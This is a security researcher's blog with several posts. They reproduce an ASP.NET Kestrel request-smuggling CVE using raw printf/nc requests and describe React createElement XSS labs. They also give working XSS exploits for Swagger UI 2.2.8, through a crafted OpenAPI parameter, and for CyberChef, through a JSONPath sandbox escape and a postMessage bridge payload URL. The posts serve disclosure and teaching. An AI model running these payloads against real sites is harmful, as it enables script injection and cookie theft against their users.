Turb0
Bits, bytes, and bad ideas

Abbreviated Reproduction of CVE-2025-55315 (Critical 9.9 ASP.NET Kestrel HTTP Request and Response Smuggling)

Thu Oct 16 15:07:10 UTC 2025

CVE-2025-55315, a 9.9 critical vulnerability in aspnetcore Kestrel webserver that allows for HTTP request/response smuggling was disclosed earlier this week. Very little information around the requirements for exploitability, as well as the actual potential impact or any public proof of concepts were not mentioned in any of the disclosures. Fortunately, this is an open source component, and the commit that fixes this vulnerability is super obvious.

Normally, I don't do dotnet, and I don't do HTTP smuggling, but this caught my interest this morning, so here is a brief writeup on some technical details around the vulnerability that are worth sharing before I move on from this.

Analyzing the patch

The source code that backs the vulnerable component can be found here. We can see a super obvious commit with a really vague pull request that very clearly screams HTTP request smuggling. Fortunately, they were nice enough to include a test that gives us an HTTP request to play with to try to reproduce the smuggling behavior.

smuggle test

This gives us super clear behavior to test for to try to write a detection for this vulnerability against deployed services.

Setting up a test environment

I threw together a vibe coded test environment with some tweaking and tinkering to get the dotnet versions correct. This runs two services, one on a patched version of Kestrel, one on an old vulnerable version. We can see if our reversed HTTP payloads from the commit test actually lead to measurably different behavior against them.

You can find the code to spin these services up here.

kestrel poc services

HTTP 1.1 no TLS working detections

I was able to get some working detections that lead to different behavior for HTTP 1.1 without TLS. I cannot get the socket closure based ones working with ncat --ssl or openssl s_client. I'm not even sure if I'm measuring the right thing, but I want to get this out because it might be helpful for someone that knows and cares what is going on here to have a better jumping off point.

kestrel detections

GET against unpatched (sends 200 and socket remains open):

printf 'GET / HTTP/1.1\r\nHost: localhost\r\nTransfer-Encoding: chunked\r\nContent-Type: text/plain\r\n\r\n2;\rxx\r\nxy\r\n0\r\n\r\n' | nc localhost 5002

GET against patched (sends 200 and socket closes):

printf 'GET / HTTP/1.1\r\nHost: localhost\r\nTransfer-Encoding: chunked\r\nContent-Type: text/plain\r\n\r\n2;\rxx\r\nxy\r\n0\r\n\r\n' | nc localhost 5001

No CT required POST against unpatched (sends 200 and socket remains open):

printf 'POST / HTTP/1.1\r\nHost: localhost\r\nTransfer-Encoding: chunked\r\nContent-Type: text/plain\r\n\r\n2;\rxx\r\nxy\r\n0\r\n\r\n' | nc localhost 5002

No CT required POST against patched (sends 400 and socket closes (process also throws a handled exception about Bad chunk extension)):

printf 'POST / HTTP/1.1\r\nHost: localhost\r\nTransfer-Encoding: chunked\r\nContent-Type: text/plain\r\n\r\n2;\rxx\r\nxy\r\n0\r\n\r\n' | nc localhost 5001

CT required POST against unpatched (sends 415 and socket remains open):

printf 'POST /ct HTTP/1.1\r\nHost: localhost\r\nTransfer-Encoding: chunked\r\nContent-Type: text/plain\r\n\r\n2;\rxx\r\nxy\r\n0\r\n\r\n' | nc localhost 5002

CT required POST against patched (sends 415 and socket closes):

printf 'POST /ct HTTP/1.1\r\nHost: localhost\r\nTransfer-Encoding: chunked\r\nContent-Type: text/plain\r\n\r\n2;\rxx\r\nxy\r\n0\r\n\r\n' | nc localhost 5001

Further research

Someone should go work out what an actually good, stable, production detection looks like based on this information, as well as if there are any usable generic cases for exploiting this in practice. An ideal detection would work preauth on GET / over TLS, and not require a POST route like the example proof of concept.


From Component to Compromised: XSS via React createElement

Sat Oct 11 14:49:09 UTC 2025

XSS in modern React apps isn't gone, it's just hiding in new places. In this blog, we'll expose how React createElement can be your way in.

We'll introduce several React DOM XSS lab scenarios based on real bug bounty findings from vulnerable applications in the wild. You'll see how untrusted input can make its way from a variety of realistic sources to a React createElement sink, leading to exploitable XSS, even in apps built with frameworks like Next.js.

These labs are realistic, grounded in actual bugs, and designed to sharpen your ability to spot and exploit DOM XSS in the kinds of apps bounty hunters hit every day.

Background

Back in April I put together a workshop for the Defcon Bug Bounty Village focused on scenarios where a user accessible source reaches the React createElement sink in some way, and how these scenarios can lead to cross site scripting or similar impact. After presenting it a few times since then and getting feedback on it, I've decided to put together a limited blog post about the content. I will not be covering full lab challenge walkthroughs here, or going through the full introduction to the topic available in the slides, but instead hitting some valuable highlights, and leaving the exercise of solving the challenges to the reader.

What is createElement in React?

ce def

React implements a createElement function different than document.createElement that is used internally and even offered externally for the generation of DOM elements.

How does JSX get compiled into React createElement calls?

ce vs jsx

Implementations vary massively between the latest versions of React and older versions that are still largely in use in the wild, but the usage of the React createElement function as a powerful sink still holds true.

JSX difference

In this example, we can clearly see how the JSX gets translated to createElement calls in the minified bundle that gets built.

Breaking down createElement's function signature

React CE params

Type

Props

Children

Exploitation Cheat Sheet

Assuming attacker controlled deserialized JSON being passed into this function: cheat sheet

I'm not thrilled with this cheat sheet. It serves a great utility for this lab, but I think it is still lacking some nuances.

Lab challenges

The lab challenges are accessible at https://defcon.turb0.one. The goal of each one of these is to achieve JavaScript execution. Some of the challenges include source maps, some deliberately don't. These challenges will remain up until the end of October. After that, I intend to take the box down and leave a static web page up instead that offers the tarball download to still allow people to run these locally.

Most interesting lab challenge

Based on feedback I've received, one of the most eye opening and interesting pieces of these labs is that the following webpacked and transpiled React component can lead to XSS.

xss vulnerable component

If this seems impossible, I recommend you go play around with the labs.

Further research ideas

There's a lot more to explore here. Here are some cool directions this could be taken in:


Following The JSON Path: A Road Paved in RCE

Tue June 3 23:42:37 UTC 2025

I wanted to do a blog post for this, but the scope kept expanding, and I never had time to prioritize completing it. Instead, you can watch the talk.

Dive into researching JavaScript implementations of JSON path libraries, breaking out of JavaScript sandboxes, achieving code execution, and examining the blast radius of impacted components. This talk covers both the research process for the discovery of these novel vulnerabilities and footguns, as well as the process for identifying the blast radius, weaponizing the vulnerabilities against actual targets, and engaging impacted stakeholders. Join me to hear a harrowing tale of remote code execution in several widely used products, CVE assignments, and critical bounty payouts.


New DOM XSS in Old Swagger UI v2.2.8

Tue Feb 18 23:42:37 UTC 2025

Swagger v2.2.8 is maligned by vulnerability listings to be vulnerable to certain CVEs that impact Swagger v3.x.x involving DomPurify bypasses. These cannot possibly impact this version of Swagger, as it doesn't even use DomPurify. It's too new for any of the disclosed 2.x.x vulnerabilities to impact it. This version is in an awkward spot, where despite there being no publicly disclosed vulnerabilities that actually impact it, it seems like it should be vulnerable, as it is very old.

I had a target using this old version, and I wanted to pop XSS on it, so I spent several hours diving into the minified source, eventually finding a novel vulnerability, and getting a working exploit put together.

I've set up an instance of this vulnerable Swagger UI that is accessible through this blog's static files at https://www.turb0.one/files/swaggerv2.2.8/index.html.

Attacker Controlled Sources

This version of Swagger UI, as many do, optionally pulls an OpenAPI specification to render client side via a url query parameter. The browser fetches the specification from the URL and then renders it to provide the documentation for the API. This is our best source that reaches the highest volume of interesting sinks. This is where most of the historical Swagger UI XSS vulnerabilities have occurred. Certain API spec fields get passed through a sanitizer and are rendered as HTML. Parameter descriptions, for example, can include certain HTML tags.

Sanitize-html 1.13.0

All text is rendered through old compiled Handlebars templates. Several sources that are intended to render with "safe" rich HTML content from the OpenAPI specification are passed through the sanitize-html sanitizer before they are rendered. After careful review of features being added to this sanitizer, I was able to determine that roughly version 1.13.0 is being used in this version of Swagger.

Handlebars sanitize

This version of this sanitizer has several disclosed vulnerabilities that can lead to XSS. After careful examination of changelogs and issues, as well as breakdowns of the disclosed vulnerabilities, I determined none of them impacted the configuration used by this version of Swagger. This version of sanitize-html uses an old version of htmlparser2. There's a lot of techniques that have been developed since this version of sanitize-html was released, so searching for a novel vulnerability in this old version of this sanitizer that works with the given configuration, possibly abusing oversights in the older parser seemed like an option that was on the table to try to achieve XSS here.

Marked.js

Certain elements created from OpenAPI specification fields, those that have the markdown class added to them, get run through an old version of Marked.js. This does a lot of URL encoding when generating HTML, but very well could be an attack vector through which to pop XSS. A javascript URI anchor tag that when clicked leads to XSS can easily be rendered through this, but injecting arbitrary attributes of elements or injecting HTML wholesale appeared to be non trivial and require further research and deeper diving. While this is nice to have, and is technically XSS, the goal is to get XSS that runs without a user performing a click action.

marked js call

Custom Handlebars Helpers

Swagger v2.2.8 renders the page using the data from the provided OpenAPI specification using an old version of Handlebars. It calls sanitize-html when it uses the defined sanitize helper. It also passes a lot of user provided sources through the escape helper, which upon inspection does a very aggressive job with URI encoding potentially dangerous characters. Diving a bit deeper, there is one call to another helper that Swagger implements in this version called renderTextParam. This gets passed the params for an API endpoint and has custom logic to build out the HTML that gets rendered in the template.

Breaking The renderTextParam Handlebars Helper

Setting a breakpoint on the code in the swagger-ui.js bundle that calls this functionality, we can see it passes an object that is generated from the OpenAPI specification to helpers.renderTextParam.

debug screenshot

The object being passed to this function is built from an object in a parameters array for a given path's method in the OpenAPI source. The original object that can be controlled by the attacker for this instance of this call can be seen here.

param text source

Looking at how this helper is implemented, we see a lot of very interesting behavior at play, and more HTML being built from attacker controlled sources.

impl screenshot

Several values get run through the Handlebars escape functionality, which results in HTML encoding of characters that would otherwise be useful to try to inject arbitrary attributes or elements into the string. Interestingly, we see another sink into sanitize-html, in the sanitizeHtml(defaultValue) call, calling sanitize-html with its default attribute and element whitelists, which is less restrictive than the Handlebars sanitize helper's call.

Looking at the HTML that gets constructed by concatenating sanitized parameters with fixed strings, we see that the dataVendorExtensions string that gets built out from the param we control properties of ends up being concatenated to the string without being run through sanitization or escaping. Reviewing the Object.keys, filter, and reduce calls, it appears that if the parameter object in the API specification includes an X-data-foo property, it and its value will be built into a string that gets concatenated into the raw HTML that gets rendered, allowing for XSS.

Testing this, we can build out a basic OpenAPI specification that includes an X-data property in a parameter object with a string value that breaks out of the HTML attribute context it gets placed into and then appends arbitrary HTML to achieve XSS.

{"paths":{"/":{"post":{"parameters":[{"X-data-":"'><iframe src='javascript:alert(document.domain)'></iframe>'"}]}}},"swagger":"2.0"}

Hosting this payload and putting it all together, we can now pop an alert with https://www.turb0.one/files/swaggerv2.2.8/index.html?url=https://www.turb0.one/files/swaggeralert.json#!/.

Conclusions

This is a pretty silly "new" vulnerability, as this component is long deprecated. Looking at the impact this may have on other versions of Swagger UI, it seems 3.x.x dropped support for the dataVendorExtensions functionality, removing this attack surface. It's interesting to see how this vulnerability ended up being much easier to find than dealing with breaking an old outdated HTML sanitizer, or an old outdated markdown parser. I'm guessing this feature got hacked onto the renderTextParam helper at a later date, and the developer implementing it forgot to run this new string constructed from attacker controlled sources through the escaper before concatenating it to the HTML string.

While this vulnerability is novel, and there aren't publicly disclosed vulnerabilities that can actually lead to XSS in this version of Swagger, there are private ones out there that some people have. They could be this very vulnerability, or they could be abusing something else. I'm sure there's plenty more holes to find in this version of Swagger, but I'm happy with just having the one.


DOM XSS in CyberChef: Traversing Multiple Execution Contexts

Thu Nov 7 17:25:28 UTC 2024

CyberChef

CyberChef is a tool for transforming input content to get an output using "recipes" defined by a user. It supports JSONPath lookups client side using a JavaScript library. JSONPath-Plus 9.0.0 has multiple vulnerabilities that may or may not be disclosed (at least one of them is, the other one looks like it got patched but doesn't have a specific disclosure). Blog post coming soon on a harrowing tale of RCE and XSS leading to CVE assignments and bounties after auditing a couple of JavaScript JSONPath library implementations.

Here's a stubby scrap that glosses over certain details and technical explanations about how I traversed through the following contexts:

  1. JSONPath evaluations
  2. Arbitary JavaScript execution in the Web Worker that CyberChef uses to bake recipes
  3. Traversing from that Web Worker evaluation context to arbitrary JavaScript execution in the main window via the postMessage bridge

JSONPath-plus 9.0.0 JavaScript Execution

Without going into great detail about this, as my upcoming larger post on the whole story of everything JavaScript JSONPath library vulnerability related is still in the works and disclosures are still pending, JSONPath-Plus 9.0.0, in a browser context, uses some AST generator/evaluator code to execute JSONPath expressions. What's a JSONPath?

It's like an xpath but for JSON.

Simple JSON

We can look up the value of test.cool with the JSONPath $.test.cool.

JSONPaths also support expressions for filtering arrays. For example, if we had an object like the following:

Complex JSON

We could filter only objects in the test array with a < 1 with a JSONPath like $.test[?(@.a < 1)]

Where this gets interesting is that there was no formal standard for this until February 2024. The libraries that implemented this in JavaScript wanted to support full JS functionality for these expressions with very poor attempts at doing this safely.

In the case of JSONPath-Plus 9.0.0 in the DOM context, as used by CyberChef, an AST parser and evaluator is used that is intended to prevent full on JS execution. It can be seen here.

The long and short of it is that this can be trivially escaped with a call to the result of calling the Function function from the constructor of a function type object in the AST evaluator. I am avoiding getting into the details around why this works with this post, so we will just accept as a fact that the following JSONPath leads to a breakout of this AST evaluator and full on JavaScript evaulation similar to calling Function("payload")().

$..[?((''.sub.constructor('console.log`1`')()))]

CyberChef Web Worker XSS

With this, we can build out a link like the following and achieve cross site scripting in CyberChef, however, it is only in the context of a Web Worker and we do not have access to the DOM.

https://gchq.github.io/CyberChef/#recipe=JPath_expression('$..%5B?((%5C'%5C'.sub.constructor(%5C'console.log%601337%60%5C')()))%5D','%5C%5Cn')&input=eyJhIjoxfQ&ieol=CRLF

Web Worker XSS

We can see that the console.log`1337` payload gets executed on the page. Again, this is in the context of a Web Worker, so we have no access to the DOM. We cannot access things like document, or window for the DOM which limits the impact of this vulnerability as it stands. We can make on origin credentialed fetch requests, which for some application is enough to show tremendous impact, but I wasn't happy with this and wanted to see if I could traverse from this execution context to the main window.

CyberChef postMessage Bridge Traversal

Web Workers communicate back to the window that created them using postMessage listeners, allowing for potential bidirectional message driven communication between the two contexts. It was clear that the CyberChef worker that performs the recipe evaluation needed to be able to return its result back to the main window that created it so the output could be eventually rendered on the screen.

I spent a couple hours reading relevant code in the CyberChef repo that is used to create and talk to these Web Workers that evaluate the recipe and send back an output, and worked out a code path that would lead to being able to send a source over the postMessage bridge that the Web Worker uses and lead to an innerHTML setting sink.

Essentially, certain recipe types support HTML outputs. The main window context decides which type to use depending on the type of the input recipe. In the case of JSONPath evaluations, the content type is sadly not HTML. However, the message type for sending a completed "bake" of the recipe step back to the worker allows us to include which input step index the "bake" result is for. This allows us to add an additional step to our recipe at the end that uses an HTML output, and use our Web Worker XSS to send a bogus message to the DOM claiming to have completed a bake for it, allowing us to include arbitrary HTML in the recipe output view.

Popping XSS in the DOM

By adding an "Extract Files" step in our recipe after the "JSONPath Expression" step, and using a more advanced payload that executes in the context of the Web Worker, we can break out of the Web Worker and get the DOM to render HTML we control, allowing us to get XSS in the DOM.

To do this, we can use the following payload embeded in a wrapper to decode and execute it in the Web Worker context.

CC XSS Payload

This payload sends a bogus message over the postMessage bridge to the main window from the web worker and is interpreted as if it is a response from the "Extract Files" step, leading to the result getting rendered as HTML. The result includes an additional javascript: schema iframe with our JS we want to execute in the main window, traversing our execution from the Web Worker to the main window where we can now do stuff like access the DOM and read non HTTP only cookies.

A final payload that pops an alert from the DOM looks like the following:

https://gchq.github.io/CyberChef/#recipe=JPath_expression('$..%5B?((%5C'%5C'.sub.constructor(%5C'setTimeout%60eval(atob(%22Y29uc29sZS5sb2coJ0V4ZWN1dGluZyBYU1MgaW4gd2ViIHdvcmtlcicpOwpjb25zdCBkYXRhID0gewogICAgImRpc2giOiB7CiAgICAgICAgInZhbHVlIjogW10sCiAgICAgICAgInR5cGUiOiA4CiAgICB9LAogICAgInJlc3VsdCI6ICI8ZGl2IHN0eWxlPSdwYWRkaW5nOiA1cHg7IHdoaXRlLXNwYWNlOiBub3JtYWw7Jz5cbiAgICAgICAgICAgICAgICAyMCBmaWxlKHMpIGZvdW5kXG4gICAgICAgICAgICA8L2Rpdj48ZGl2IGlkPVwiZmlsZXNcIiBzdHlsZT1cInBhZGRpbmc6IDIwcHhcIj48L2Rpdj4iLAogICAgInR5cGUiOiAiaHRtbCIsCiAgICAicHJvZ3Jlc3MiOiAyLAogICAgImR1cmF0aW9uIjogMSwKICAgICJlcnJvciI6IGZhbHNlLAogICAgImlucHV0TnVtIjogMSwKICAgICJiYWtlSWQiOiAyMgp9CmRhdGEucmVzdWx0ICs9ICc8aWZyYW1lIHNyYz0iamF2YXNjcmlwdDphbGVydChkb2N1bWVudC5kb21haW4pIj48L2lmcmFtZT4nOwpwb3N0TWVzc2FnZSh7CglhY3Rpb246ImJha2VDb21wbGV0ZSIsCglkYXRhCn0pCg%22))%60%5C')())%7C%7C1)%5D','%5C%5Cn')Extract_Files(true,true,true,true,true,true,false,true,100)&input=eyJhIjoxfQ&ieol=CRLF

DOM XSS